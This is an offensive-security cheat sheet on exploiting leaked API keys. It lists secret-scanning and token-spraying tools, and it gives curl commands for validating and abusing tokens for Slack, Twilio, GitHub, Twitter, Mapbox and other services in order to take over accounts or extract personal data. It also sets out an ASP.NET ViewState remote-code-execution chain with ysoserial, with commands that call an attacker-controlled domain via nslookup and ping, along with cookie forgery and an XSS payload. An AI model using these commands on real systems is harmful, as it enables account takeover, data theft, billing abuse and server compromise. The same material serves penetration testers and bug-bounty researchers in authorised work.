API Key Leaks

The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.

Summary

• Tools

• Exploit

  • Google Maps

  • Algolia

  • Slack API Token

  • Facebook Access Token

  • Github client id and client secret

  • Twilio Account_sid and Auth Token

  • Twitter API Secret

  • Twitter Bearer Token

  • Gitlab Personal Access Token

  • HockeyApp API Token

  • IIS Machine Keys

  • Mapbox API Token

Tools

• momenbasel/KeyFinder - is a tool that let you find keys while surfing the web

• streaak/keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid

• trufflesecurity/truffleHog - Find credentials all over the place

  docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys
  docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
  trufflehog git https://github.com/trufflesecurity/trufflehog.git
  trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2

• aquasecurity/trivy - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets

• projectdiscovery/nuclei-templates - Use these templates to test an API token against many API service endpoints

  nuclei -t token-spray/ -var token=token_list.txt

• blacklanternsecurity/badsecrets - A library for detecting known or weak secrets on across many platforms

  python examples/cli.py --url http://example.com/contains_bad_secret.html
  python examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
  python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
  python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspx
  python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/

• mazen160/secrets-patterns-db - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.

Exploit

The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.

Google Maps

Use : https://github.com/ozguralp/gmapsapiscanner/

Usage:

Name	Endpoint
Static Maps	https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE
Streetview	https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE
Embed	https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE
Directions	https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE
Geocoding	https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE
Distance Matrix	https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE
Find Place from Text	https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE
Autocomplete	https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE
Elevation	https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE
Timezone	https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=KEY_HERE
Roads	https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795
Geolocate	https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE

Impact:

• Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company

• Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account

Algolia

curl --request PUT \
  --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
  --header 'content-type: application/json' \
  --header 'x-algolia-api-key: <example-key>' \
  --header 'x-algolia-application-id: <example-application-id>' \
  --data '{"highlightPreTag": "<script>alert(1);</script>"}'

Slack API Token

curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"

Facebook Access Token

curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2

Github client id and client secret

curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'

Twilio Account_sid and Auth token

curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN

Twitter API Secret

curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'

Twitter Bearer Token

curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'

Gitlab Personal Access Token

curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"

HockeyApp API Token

curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4

IIS Machine Keys

That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

Requirements

• machineKey validationKey and decryptionKey

• __VIEWSTATEGENERATOR cookies

• __VIEWSTATE cookies

Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.

<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />

Common locations of web.config / machine.config

• 32-bit

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config

  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config

• 64-bit

  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config

  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config

• in registry when AutoGenerate is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)

  • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4

  • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey

Identify known machine key

• Exploit with Blacklist3r/AspDotNetWrapper

• Exploit with ViewGen

# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1

# --encrypteddata : __VIEWSTATE parameter value of the target application
# --modifier : __VIEWSTATEGENERATOR parameter value
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode

Decode ViewState

$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="

$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate  --modifier=CA0B0334 --macdecode

$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

Generate ViewState for RCE

NOTE: Send a POST request with the generated ViewState to the same endpoint, in Burp you should URL Encode Key Characters for your payload.

$ ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>"  --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>"  --validationalg="SHA1" --validationkey="<validation key>"
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"

$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"

Edit cookies with the machine key

If you have the machineKey but the viewstate is disabled.

ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools

# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes

# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt

Mapbox API Token

A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is sk, jackpot. If it's pk or tk, it's not worth your time.

#Check token validity
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"

#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropiate scope)
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"

References

• Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019

• Private API key leakage due to lack of access control - yox - August 8, 2018

• Project Blacklist3r - November 23, 2018 - @notsosecure

• Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020

• Mapbox API Token Documentation